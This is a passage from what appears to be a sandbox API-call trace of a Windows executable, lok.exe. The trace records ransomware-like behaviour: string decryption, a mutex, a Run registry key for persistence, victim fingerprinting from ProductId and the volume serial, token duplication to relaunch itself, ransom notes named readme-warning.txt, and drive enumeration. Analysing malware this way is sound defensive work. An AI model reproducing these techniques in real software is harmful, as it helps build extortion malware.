0x9ae918 [0065.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae3d0) returned 1 [0065.623] CryptDecrypt (in: hKey=0x9ae3d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae918, pdwDataLen=0x18f3d8 | out: pbData=0x9ae918, pdwDataLen=0x18f3d8) returned 1 [0065.623] CryptDestroyKey (hKey=0x9ae3d0) returned 1 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aebd8 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc) returned 0x9ade98 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aebe8 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9adeb0 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aebf8 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9aeef8 [0065.623] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec08 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9aef18 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec18 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9ac990 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec28 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22) returned 0x9ae3d0 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec38 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec48 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec58 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9ac9e0 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec68 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec78 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec88 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aec98 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae918 | out: hHeap=0x990000) returned 1 [0065.624] GetProcessHeap () returned 0x990000 [0065.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x24) returned 0x9ae400 [0065.625] GetShellWindow () returned 0x100f2 [0065.625] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0065.626] GetProcessHeap () returned 0x990000 [0065.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9aca30 [0065.626] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae918) returned 1 [0065.626] CryptDecrypt (in: hKey=0x9ae918, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9aca30, pdwDataLen=0x18f3d8 | out: pbData=0x9aca30, pdwDataLen=0x18f3d8) returned 1 [0065.626] CryptDestroyKey (hKey=0x9ae918) returned 1 [0065.626] GetProcessHeap () returned 0x990000 [0065.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9aca58 [0065.626] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae918) returned 1 [0065.626] CryptDecrypt (in: hKey=0x9ae918, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9aca58, pdwDataLen=0x18f3d8 | out: pbData=0x9aca58, pdwDataLen=0x18f3d8) returned 1 [0065.626] CryptDestroyKey (hKey=0x9ae918) returned 1 [0065.626] GetProcessHeap () returned 0x990000 [0065.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9aca80 [0065.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae918) returned 1 [0065.627] CryptDecrypt (in: hKey=0x9ae918, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9aca80, pdwDataLen=0x18f3d8 | out: pbData=0x9aca80, pdwDataLen=0x18f3d8) returned 1 [0065.627] CryptDestroyKey (hKey=0x9ae918) returned 1 [0065.627] GetProcessHeap () returned 0x990000 [0065.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9acaa8 [0065.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae918) returned 1 [0065.628] CryptDecrypt (in: hKey=0x9ae918, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9acaa8, pdwDataLen=0x18f1b4 | out: pbData=0x9acaa8, pdwDataLen=0x18f1b4) returned 1 [0065.628] CryptDestroyKey (hKey=0x9ae918) returned 1 [0065.628] GetProcessHeap () returned 0x990000 [0065.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x60) returned 0x9ae918 [0065.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae980) returned 1 [0065.628] CryptDecrypt (in: hKey=0x9ae980, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae918, pdwDataLen=0x18f1b4 | out: pbData=0x9ae918, pdwDataLen=0x18f1b4) returned 1 [0065.628] CryptDestroyKey (hKey=0x9ae980) returned 1 [0065.628] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0065.628] GetProcessHeap () returned 0x990000 [0065.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9acaa8 | out: hHeap=0x990000) returned 1 [0065.628] GetProcessHeap () returned 0x990000 [0065.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9acaa8 [0065.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae980) returned 1 [0065.628] CryptDecrypt (in: hKey=0x9ae980, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9acaa8, pdwDataLen=0x18f1b4 | out: pbData=0x9acaa8, pdwDataLen=0x18f1b4) returned 1 [0065.628] CryptDestroyKey (hKey=0x9ae980) returned 1 [0065.628] GetProcessHeap () returned 0x990000 [0065.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x60) returned 0x9ae980 [0065.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae9e8) returned 1 [0065.628] CryptDecrypt (in: hKey=0x9ae9e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae980, pdwDataLen=0x18f1b4 | out: pbData=0x9ae980, pdwDataLen=0x18f1b4) returned 1 [0065.628] CryptDestroyKey (hKey=0x9ae9e8) returned 1 [0065.628] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0065.628] GetProcessHeap () returned 0x990000 [0065.629] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9acaa8 | out: hHeap=0x990000) returned 1 [0065.629] GetProcessHeap () returned 0x990000 [0065.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9acaa8 [0065.629] GetProcessHeap () returned 0x990000 [0065.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x12) returned 0x9aef38 [0065.629] GetProcessHeap () returned 0x990000 [0065.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9acad0 [0065.629] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f378, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae9e8) returned 1 [0065.629] CryptDecrypt (in: hKey=0x9ae9e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9acad0, pdwDataLen=0x18f3d8 | out: pbData=0x9acad0, pdwDataLen=0x18f3d8) returned 1 [0065.629] CryptDestroyKey (hKey=0x9ae9e8) returned 1 [0065.629] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="m23071644") returned 0xbc [0065.629] GetLastError () returned 0x0 [0065.629] GetProcessHeap () returned 0x990000 [0065.629] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9acad0 | out: hHeap=0x990000) returned 1 [0065.629] GetProcessHeap () returned 0x990000 [0065.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x60) returned 0x9ae9e8 [0065.629] CryptImportKey (in: hProv=0x9acd90, pbData=0x18eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9aea50) returned 1 [0065.630] CryptDecrypt (in: hKey=0x9aea50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae9e8, pdwDataLen=0x18eb94 | out: pbData=0x9ae9e8, pdwDataLen=0x18eb94) returned 1 [0065.630] CryptDestroyKey (hKey=0x9aea50) returned 1 [0065.630] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18eb80 | out: phkResult=0x18eb80*=0xb8) returned 0x0 [0065.630] RegSetValueExW (in: hKey=0xb8, lpValueName="1", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\"", cbData=0x60 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\"") returned 0x0 [0066.065] RegCloseKey (hKey=0xb8) returned 0x0 [0066.065] GetProcessHeap () returned 0x990000 [0066.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae9e8 | out: hHeap=0x990000) returned 1 [0066.066] GetProcessHeap () returned 0x990000 [0066.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9ae9e8 [0066.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ef20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9aea30) returned 1 [0066.066] CryptDecrypt (in: hKey=0x9aea30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae9e8, pdwDataLen=0x18ef90 | out: pbData=0x9ae9e8, pdwDataLen=0x18ef90) returned 1 [0066.066] CryptDestroyKey (hKey=0x9aea30) returned 1 [0066.066] GetProcessHeap () returned 0x990000 [0066.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9acad0 [0066.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ef20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9aea30) returned 1 [0066.066] CryptDecrypt (in: hKey=0x9aea30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9acad0, pdwDataLen=0x18ef90 | out: pbData=0x9acad0, pdwDataLen=0x18ef90) returned 1 [0066.066] CryptDestroyKey (hKey=0x9aea30) returned 1 [0066.066] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef8c | out: phkResult=0x18ef8c*=0xb8) returned 0x0 [0066.066] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef98, lpcbData=0x18ef94*=0x400 | out: lpType=0x0, lpData=0x18ef98*=0x30, lpcbData=0x18ef94*=0x18) returned 0x0 [0066.067] RegCloseKey (hKey=0xb8) returned 0x0 [0066.067] GetProcessHeap () returned 0x990000 [0066.067] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae9e8 | out: hHeap=0x990000) returned 1 [0066.067] GetProcessHeap () returned 0x990000 [0066.067] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9acad0 | out: hHeap=0x990000) returned 1 [0066.067] GetProcessHeap () returned 0x990000 [0066.067] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9acad0 [0066.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ed00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae9e8) returned 1 [0066.067] CryptDecrypt (in: hKey=0x9ae9e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9acad0, pdwDataLen=0x18ed64 | out: pbData=0x9acad0, pdwDataLen=0x18ed64) returned 1 [0066.067] CryptDestroyKey (hKey=0x9ae9e8) returned 1 [0066.067] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ed68, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0066.067] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ed60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ed60*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.068] GetProcessHeap () returned 0x990000 [0066.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9acad0 | out: hHeap=0x990000) returned 1 [0066.068] wsprintfA (in: param_1=0x18efaf, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0066.068] GetProcessHeap () returned 0x990000 [0066.068] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeca8 [0066.068] GetProcessHeap () returned 0x990000 [0066.068] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af6d8 [0066.069] GetProcessHeap () returned 0x990000 [0066.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9ae9e8 [0066.069] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9aea70) returned 1 [0066.069] CryptDecrypt (in: hKey=0x9aea70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae9e8, pdwDataLen=0x18f398 | out: pbData=0x9ae9e8, pdwDataLen=0x18f398) returned 1 [0066.069] CryptDestroyKey (hKey=0x9aea70) returned 1 [0066.069] GetProcessHeap () returned 0x990000 [0066.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b06c0 [0066.069] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9aea70) returned 1 [0066.069] CryptDecrypt (in: hKey=0x9aea70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b06c0, pdwDataLen=0x18f398 | out: pbData=0x9b06c0, pdwDataLen=0x18f398) returned 1 [0066.069] CryptDestroyKey (hKey=0x9aea70) returned 1 [0066.070] GetExitCodeProcess (in: hProcess=0x0, lpExitCode=0x18f3b8 | out: lpExitCode=0x18f3b8*=0x9acad0) returned 0 [0066.070] Wow64DisableWow64FsRedirection (in: OldValue=0x18f3c0 | out: OldValue=0x18f3c0*=0x0) returned 1 [0066.070] GetCurrentProcessId () returned 0xab8 [0066.070] wsprintfW (in: param_1=0x18eb98, param_2="\"%s\" n%u" | out: param_1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744") returned 53 [0066.070] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xb8 [0066.070] OpenProcessToken (in: ProcessHandle=0xb8, DesiredAccess=0x2000000, TokenHandle=0x18eb24 | out: TokenHandle=0x18eb24*=0xc0) returned 1 [0066.071] DuplicateTokenEx (in: hExistingToken=0xc0, dwDesiredAccess=0x2000000, lpTokenAttributes=0x18eb30, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x18eb20 | out: phNewToken=0x18eb20*=0xc4) returned 1 [0066.071] CreatePipe (in: hReadPipe=0x18eb2c, hWritePipe=0x18eb28, lpPipeAttributes=0x18eb30, nSize=0x0 | out: hReadPipe=0x18eb2c*=0xcc, hWritePipe=0x18eb28*=0xd0) returned 1 [0066.072] CreateProcessWithTokenW (in: hToken=0xc4, dwLogonFlags=0x0, lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18eb50*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0xd0, hStdError=0xd0), lpProcessInformation=0x18eb40 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744", lpProcessInformation=0x18eb40*(hProcess=0x11c, hThread=0x120, dwProcessId=0x418, dwThreadId=0x484)) returned 1 [0066.494] CloseHandle (hObject=0x120) returned 1 [0066.494] CloseHandle (hObject=0xc4) returned 1 [0066.494] CloseHandle (hObject=0xc0) returned 1 [0066.494] CloseHandle (hObject=0xb8) returned 1 [0066.494] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0066.494] GetProcessHeap () returned 0x990000 [0066.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af888 [0066.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.494] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af888, pdwDataLen=0x18f168 | out: pbData=0x9af888, pdwDataLen=0x18f168) returned 1 [0066.494] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.494] GetProcessHeap () returned 0x990000 [0066.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af8d0 [0066.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.494] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af8d0, pdwDataLen=0x18f168 | out: pbData=0x9af8d0, pdwDataLen=0x18f168) returned 1 [0066.494] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.494] GetProcessHeap () returned 0x990000 [0066.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b0748 [0066.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.494] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b0748, pdwDataLen=0x18f168 | out: pbData=0x9b0748, pdwDataLen=0x18f168) returned 1 [0066.494] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.494] GetProcessHeap () returned 0x990000 [0066.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af918 [0066.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ecd8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.494] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af918, pdwDataLen=0x18ed48 | out: pbData=0x9af918, pdwDataLen=0x18ed48) returned 1 [0066.494] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.495] GetProcessHeap () returned 0x990000 [0066.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x18ecd8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.495] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18ed48 | out: pbData=0x9b12d8, pdwDataLen=0x18ed48) returned 1 [0066.495] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.495] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ed44 | out: phkResult=0x18ed44*=0xb8) returned 0x0 [0066.495] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ed50, lpcbData=0x18ed4c*=0x400 | out: lpType=0x0, lpData=0x18ed50*=0x30, lpcbData=0x18ed4c*=0x18) returned 0x0 [0066.495] RegCloseKey (hKey=0xb8) returned 0x0 [0066.495] GetProcessHeap () returned 0x990000 [0066.495] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af918 | out: hHeap=0x990000) returned 1 [0066.495] GetProcessHeap () returned 0x990000 [0066.495] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.495] GetProcessHeap () returned 0x990000 [0066.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x18eab8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.495] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18eb1c | out: pbData=0x9b12d8, pdwDataLen=0x18eb1c) returned 1 [0066.495] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.495] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18eb20, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0066.495] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18eb18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18eb18*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.496] GetProcessHeap () returned 0x990000 [0066.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.496] wsprintfA (in: param_1=0x18ed67, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0066.496] wsprintfA (in: param_1=0x18f174, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0066.496] GetProcessHeap () returned 0x990000 [0066.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b6490 [0066.496] GetProcessHeap () returned 0x990000 [0066.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b12d8 [0066.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b4b98) returned 1 [0066.496] CryptDecrypt (in: hKey=0x9b4b98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b12d8, pdwDataLen=0x18f18c | out: pbData=0x9b12d8, pdwDataLen=0x18f18c) returned 1 [0066.496] CryptDestroyKey (hKey=0x9b4b98) returned 1 [0066.496] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f190, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0066.496] wsprintfW (in: param_1=0x18e144, param_2="%s\\%s" | out: param_1="C:\\readme-warning.txt") returned 21 [0066.496] CreateFileW (lpFileName="C:\\readme-warning.txt" (normalized: "c:\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0066.500] WriteFile (in: hFile=0xb8, lpBuffer=0x9b6490*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18e140, lpOverlapped=0x0 | out: lpBuffer=0x9b6490*, lpNumberOfBytesWritten=0x18e140*=0x3b3, lpOverlapped=0x0) returned 1 [0066.501] CloseHandle (hObject=0xb8) returned 1 [0066.502] GetProcessHeap () returned 0x990000 [0066.502] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0066.502] wsprintfW (in: param_1=0x18e950, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0066.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0066.505] WriteFile (in: hFile=0xb8, lpBuffer=0x9b6490*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18e94c, lpOverlapped=0x0 | out: lpBuffer=0x9b6490*, lpNumberOfBytesWritten=0x18e94c*=0x3b3, lpOverlapped=0x0) returned 1 [0066.506] CloseHandle (hObject=0xb8) returned 1 [0066.507] GetProcessHeap () returned 0x990000 [0066.507] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0748 | out: hHeap=0x990000) returned 1 [0066.507] GetProcessHeap () returned 0x990000 [0066.507] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b6490 | out: hHeap=0x990000) returned 1 [0066.507] GetProcessHeap () returned 0x990000 [0066.507] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af8d0 | out: hHeap=0x990000) returned 1 [0066.507] GetProcessHeap () returned 0x990000 [0066.507] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af888 | out: hHeap=0x990000) returned 1 [0066.507] SetErrorMode (uMode=0x1) returned 0x0 [0066.507] GetLogicalDrives () returned 0x4 [0066.507] GetProcessHeap () returned 0x990000 [0066.507] RtlAllocateHeap (HeapHandle=0x990000, 